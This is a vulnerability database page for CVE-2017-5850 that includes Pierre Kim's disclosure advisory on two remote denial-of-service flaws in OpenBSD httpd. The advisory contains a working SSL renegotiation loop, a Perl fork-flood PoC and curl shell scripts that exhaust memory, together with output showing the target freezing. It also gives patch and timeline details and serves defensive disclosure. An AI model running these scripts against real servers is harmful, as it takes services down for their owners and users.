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httpd in OpenBSD allows remote attackers to cause a denial of service (memory consumption) via a series of requests for a large file using an HTTP Range header.
Allocation of Resources Without Limits or Throttling The product allocates a reusable resource or group of resources on behalf of an actor without imposing any restrictions on the size or number of resources that can be allocated, in violation of the intended security policy for that actor.
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Metrics
Score
Severity
CVSS Vector
Source
V3.0
7.5
HIGH
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
More informations
Base: Exploitabilty Metrics
The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.
Attack Vector
This metric reflects the context by which vulnerability exploitation is possible.
Network
A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).
Attack Complexity
This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.
Low
Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required
This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.
None
The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction
This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.
None
The vulnerable system can be exploited without interaction from any user.
Base: Scope Metrics
An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.
Scope
Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.
Unchanged
An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.
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Confidentiality Impact
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None
There is no loss of confidentiality within the impacted component.
Integrity Impact
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None
There is no loss of integrity within the impacted component.
Availability Impact
This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.
High
There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).
Temporal Metrics
The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.
Environmental Metrics
nvd@nist.gov
V2
7.8
AV:N/AC:L/Au:N/C:N/I:N/A:C
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2021-04-18
15.16%
–
–
–
–
2021-09-05
–
15.16%
–
–
–
2022-01-09
–
15.16%
–
–
–
2022-02-06
–
–
18.33%
–
–
2022-04-03
–
–
18.33%
–
–
2023-03-12
–
–
–
2.35%
–
2023-05-28
–
–
–
2.63%
–
2023-07-02
–
–
–
1.9%
–
2024-02-11
–
–
–
1.9%
–
2024-06-02
–
–
–
1.9%
–
2024-06-02
–
–
–
1.9%
–
2024-12-22
–
–
–
6.51%
–
2025-01-19
–
–
–
6.51%
–
2025-03-18
–
–
–
–
43.49%
2025-03-30
–
–
–
–
49.59%
2025-03-30
–
–
–
–
49.59,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Publication date : 2017-02-06 23h00 +00:00 Author : PierreKimSec EDB Verified : No
## Advisory Information
Title: Remote DoS against OpenBSD http server (up to 6.0)
Advisory URL: https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt
Blog URL: https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html
Date published: 2017-02-07
Vendors contacted: OpenBSD
Release mode: Released
CVE: CVE-2017-5850
## Product Description
The OpenBSD project produces a FREE, multi-platform 4.4BSD-based UNIX-like operating system.
## Vulnerabilities Summary
The shipped HTTP daemon in OpenBSD (up to the latest version) is prone to 2 remote DoS.
The first vulnerability allows an attacker to consume all the CPU power from the remote server (CPU exhaustion).
The second vulnerability (Memory exhaustion) allows an attacker to consume all the RAM and the swap space on the remote side.
Processes will be killed when running out of swap space. The system will be likely to freeze.
## Details - CPU exhaustion (no CVE entry)
OpenBSD's httpd is prone to a SSL DoS with SSL renegotiation:
user@kali:~$ (sleep 1; while true;do echo R;done) | openssl s_client -connect 10.0.2.15:443
CONNECTED(00000003)
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
- ---
Certificate chain
0 s:/C=XX/ST=secure.example.com/CN=secure.example.com
i:/C=XX/ST=secure.example.com/CN=secure.example.com
- ---
Server certificate
- -----BEGIN CERTIFICATE-----
MIIDCjCCAfICCQC0tQxJqUqQTzANBgkqhkiG9w0BAQsFADBHMQswCQYDVQQGEwJY
WDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQDDBJzZWN1cmUu
ZXhhbXBsZS5jb20wHhcNMTcwMTI3MTU0MjMzWhcNMTgwMTI3MTU0MjMzWjBHMQsw
CQYDVQQGEwJYWDEbMBkGA1UECAwSc2VjdXJlLmV4YW1wbGUuY29tMRswGQYDVQQD
DBJzZWN1cmUuZXhhbXBsZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQCjIY7mMaNVLmPDA4ir59mgdQEM4TFTgz5cv9SqU4hQq0eVmpJkEfJPHErF
to5NdF2ZIqhL+F34GqZcCC8qO3xB33dAevENWWbA4KObpIybHr8bFeDYYl5GuaCO
hizmcffU3P1ztRNXB4sCTTQwkyry8ZUDaeINLGMb0HhFR9u5TJY6tSB0KMIuiBsH
1hEp8bNxUM046D0wkZkyIgM/or6uj5jRj33aYUn6ZiU8a6UKSAVZJLqziyNcQ0hA
64gS6oapUnMVYJIUDJynOhY5e8xZmD+2pB4NLTIxAEdSyQ4wQ4jBiRFVL+E68fuw
kASmrA4gAbSCO+lYBO8wCRiVOwOdAgMBAAEwDQYJKoZIhvcNAQELBQADggEBAC1L
213ziHqFmC8nLWvvjyoHY2PRFS1ofrfciv+fpohn2GN+eVb8DGTo+KLZ910/PUPk
dzTa7eOlkvR1OG7BUlnia6pGQqizTodvzx0DGgl76k4VpEvJAOZ4f7Plry4qgr5Y
y3Fwym1k3DlNJ5Jqh8Vp2HETbqcovATsUHRS5t/oc6N2egq1DYVC5CdGRgvmmUl+
NBjKOASYoP8S4OQ51wMmXrygFqKcEkq4/GTUFEaamrbM/J+ChD9EqejSKzZ5owRh
74v10s30OylBdmfOLeyrMv5s6DnJRAdtFEH9Wg7sQDt1P3bGOsObVZlmHCtArl4k
m1nHRn8scAFP7QbHl34=
- -----END CERTIFICATE-----
subject=/C=XX/ST=secure.example.com/CN=secure.example.com
issuer=/C=XX/ST=secure.example.com/CN=secure.example.com
- ---
No client certificate CA names sent
- ---
SSL handshake has read 1548 bytes and written 503 bytes
- ---
New, TLSv1/SSLv3, Cipher is ECDHE-RSA-AES256-GCM-SHA384
Server public key is 2048 bit
Secure Renegotiation IS supported
Compression: NONE
Expansion: NONE
SSL-Session:
Protocol : TLSv1.2
Cipher : ECDHE-RSA-AES256-GCM-SHA384
Session-ID: DA628A16EF4F067ED81E7A26EFA18D9A7D53CBC4ED54C8F6DC11E5E60FF76530
Session-ID-ctx:
Master-Key: 9235AFEBCF2A517E896A06CAA7A1AF916646DB5BB4C99B53A79627351C0FFB936EB863B0E50A67DF70A354773CF049BE
Key-Arg : None
PSK identity: None
PSK identity hint: None
SRP username: None
TLS session ticket lifetime hint: 300 (seconds)
TLS session ticket:
0000 - 49 f1 29 da 9e 08 f2 74-c6 f3 eb a1 c7 ee 40 bb I.)....t......@.
0010 - 96 75 54 c8 4f 32 53 7e-51 40 4e a8 e9 57 41 a5 .uT.O2S~Q@N..WA.
0020 - 73 3d a9 d6 b8 f7 a0 f8-15 cb be fb f1 4d d9 81 s=...........M..
0030 - a8 79 56 11 5d 05 32 05-49 df 2b f3 71 89 36 a1 .yV.].2.I.+.q.6.
0040 - 93 dc b9 b5 00 48 6f 94-b1 c5 78 f8 38 3c 63 29 .....Ho...x.8<c)
0050 - ed 45 a2 9e ae fc 7e d7-12 76 34 15 93 b1 3d 3d .E....~..v4...==
0060 - d7 0a 14 f1 01 a7 87 6c-50 93 25 24 5e 4f 1b fa .......lP.%$^O..
0070 - 51 03 4b fa 7e 23 83 99-51 f6 47 10 8c d1 0e 41 Q.K.~#..Q.G....A
0080 - 5a f7 a5 10 33 a7 37 5d-9b 5e b0 b6 19 e7 e2 61 Z...3.7].^.....a
0090 - ec ea 1c 72 3c 4a ec 11-0f 26 35 76 6e d9 cb 4d ...r<J...&5vn..M
00a0 - c7 f8 57 cb 50 f6 47 02-6b ca be cc 29 04 b7 dc ..W.P.G.k...)...
00b0 - e0 d1 cc 8e 5b f9 05 06-10 72 d7 b6 8e cf 42 6a ....[....r....Bj
Start Time: 1485536662
Timeout : 300 (sec)
Verify return code: 18 (self signed certificate)
- ---
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify error:num=18:self signed certificate
verify return:1
depth=0 C = XX, ST = secure.example.com, CN = secure.example.com
verify return:1
RENEGOTIATING
[...]
- From my test, 1 renegociation thread takes =~ 70% of CPU.
top on the main server (10.0.2.15):
14711 www 51 0 1104K 3636K run - 1:07 69.55% httpd
Multiple threads will eat all the available CPUs and will be likely to DoS the httpd:
14711 www 63 0 1192K 3708K run - 2:48 33.45% httpd
77207 www 63 0 1284K 3788K run - 1:33 33.06% httpd
78835 www 62 0 1232K 3808K run - 0:15 28.08% httpd
There is no trace of such attacks in the httpd logs.
An attacker can use tools from THC to perform SSL DoS too (openssl was the fastest solution out of the box): https://www.thc.org/thc-ssl-dos/.
## Details - Memory exhaustion (CVE-2017-5850)
A vulnerability exists in the openbsd HTTP daemon. It will result in using all the RAM and the swap space on the remote side, processes will be killed when running out of swap space. The system will be likely to freeze.
Requesting file using a file-range will result in having a httpd process doing a full malloc() of the requested file.
It appears the entry is not correctly free()'d.
Hence, it's possible to DoS the remote server by requesting a file over and over by specifying a custom file range, ie:
GET /index.html HTTP/1.1
Range: bytes=1-
User-Agent: Pierre loves you
Host: fill-me-with-joy
This attack is successful if an attacker can identify a 'big' file (i.e. > 10MB) served by the remote HTTP server.
Here is a provided PoC (loosely based on KingCope's apache_killer.pl):
#!/usr/bin/perl -w
use warnings;
use IO::Socket;
use Parallel::ForkManager;
$numforks = 50;
if ($#ARGV < 1)
{
&usage;
exit;
}
while (1) {
&killhttpd();
}
sub usage {
print "OpenBSD HTTP Remote Denial of Service (memory exhaustion) - @PierreKimSec\n";
print "usage: perl killobsdhttpd.pl <host> <remotefile>\n";
}
sub killhttpd {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
$pm = new Parallel::ForkManager($numforks);
for (0 .. $numforks)
{
my $pid = $pm->start and next;
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => "80",
Proto => 'tcp');
$p = "GET $ARGV[1] HTTP/1.1\r\nRange: bytes=1-\r\nAccept: */*\r\nHost: $ARGV[0]\r\nConnection: close\r\n\r\n";
print $sock $p;
if (<$sock>) {sleep (0.5); $sock->close();}
$pm->finish;
}
$pm->wait_all_children;
}
An attacker can use curl to replicate the PoC:
curl --limit-rate 1 --continue-at 1 --header "Host: www.example.com" http://target/10mb.fs
Stopping the curl process and launching it again will produce one of the remote httpd to use more than 10MB of memory
for each request (the size of the 10mb.fs is 10MB) and will DoS the http server and the OpenBSD system by exhausting
all the RAM. The OpenBSD system will likely freeze within minutes.
PoC with curl (more effective than the perl version, it appears):
#!/bin/sh
# ./$0 www.target.tld /path/to/file
unset http_proxy
unset https_proxy
for i in $(seq 0 300)
do
echo sending a req
curl --limit-rate 1 --continue-at 1 --header "Host: $1" http://$1/$2 2>/dev/null >/dev/null &
sleep 0.5
pkill curl
done
while sleep 1
do
echo "sending a req (slow)"
curl --limit-rate 1 --continue-at 1 --header "Host: $1" http://$1/$2 2>/dev/null >/dev/null &
pkill curl
done
This attack works using HTTP and using HTTPS.
Current situation in the attacked server (SWAP is full and all the RAM is being completely used):
load averages: 7.11, 3.30, 1.38 foo.my.domain 10:26:41
39 processes: 6 running, 32 idle, 1 on processor up 0:03
CPU states: 0.0% user, 0.0% nice, 100% system, 0.0% interrupt, 0.0% idle
Memory: Real: 569M/961M act/tot Free: 21M Cache: 49M Swap: 2039M/2040M
PID USERNAME PRI NICE SIZE RES STATE WAIT TIME CPU COMMAND
48965 www 28 0 1345M 204M run - 0:05 0.00% httpd
43060 www 28 0 1281M 174M run - 0:05 0.00% httpd
91565 www 28 0 1153M 187M run - 0:04 0.00% httpd
63038 www 2 0 948K 4K idle kqread 0:00 0.00% httpd
We see the daemons (httpd and sshd) don't answer anymore:
user@kali:~$ 10.0.2.15 80
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.
^]
telnet> q
Connection closed.
user@kali:~$ telnet 10.0.2.15 80
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.
^]
telnet> q
Connection closed.
user@kali:~$ telnet 10.0.2.15 22
Trying 10.0.2.15...
Connected to 10.0.2.15.
Escape character is '^]'.
^]
telnet> q
Connection closed.
Connection closed by foreign host.
## Vendor Response
o The issue about memory exhaustion has been solved in two ways:
- - OpenBSD 6.0/5.9: Erratas has been issued at:
https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig
- - OpenBSD -current: We reimplemented support for byte ranges in
- -current. The previous implementation was flawed indeed, as it tried
to load the complete ranges into memory at once.
o High CPU usage is a well-known issue of client-initiated
renegotiation. While this can cause higher than normal CPU usage, the
processes are still able to service requests.
As httpd uses LibreSSL's libtls, a sane TLS API on top of libssl, we
decided to disable client-initiated renegotiation for libtls servers
in -current. This change was already planned and has now been
committed to LibreSSL.
libssl http://marc.info/?l=openbsd-cvs&m=148587695222112&w=2
libtls http://marc.info/?l=openbsd-cvs&m=148587827322528&w=2
## Report Timeline
* Jan 25, 2017: Vulnerabilities found by Pierre Kim.
* Jan 30, 2017: OpenBSD team is notified of the vulnerabilities.
* Jan 30, 2017: OpenBSD team replies that they will study the advisory.
* Jan 31, 2017: OpenBSD team confirms the vulnerabilities.
* Jan 31, 2017: Pierre Kim asks for CVE entries.
* Jan 31, 2017: OpenBSD team releases security patches.
* Feb 01, 2017: cve-assign () mitre org assigns CVE-2017-5850 and asks for more details.
* Feb 07, 2017: A public advisory is sent to security mailing lists.
## Credit
These vulnerabilities were found by Pierre Kim (@PierreKimSec).
## References
https://pierrekim.github.io/blog/2017-02-07-openbsd-httpd-CVE-2017-5850.html
https://pierrekim.github.io/advisories/CVE-2017-5850-openbsd.txt
https://ftp.openbsd.org/pub/OpenBSD/patches/6.0/common/017_httpd.patch.sig
https://ftp.openbsd.org/pub/OpenBSD/patches/5.9/common/034_httpd.patch.sig
## Disclaimer
This advisory is licensed under a Creative Commons Attribution Non-Commercial
Share-Alike 3.0 License: http://creativecommons.org/licenses/by-nc-sa/3.0/
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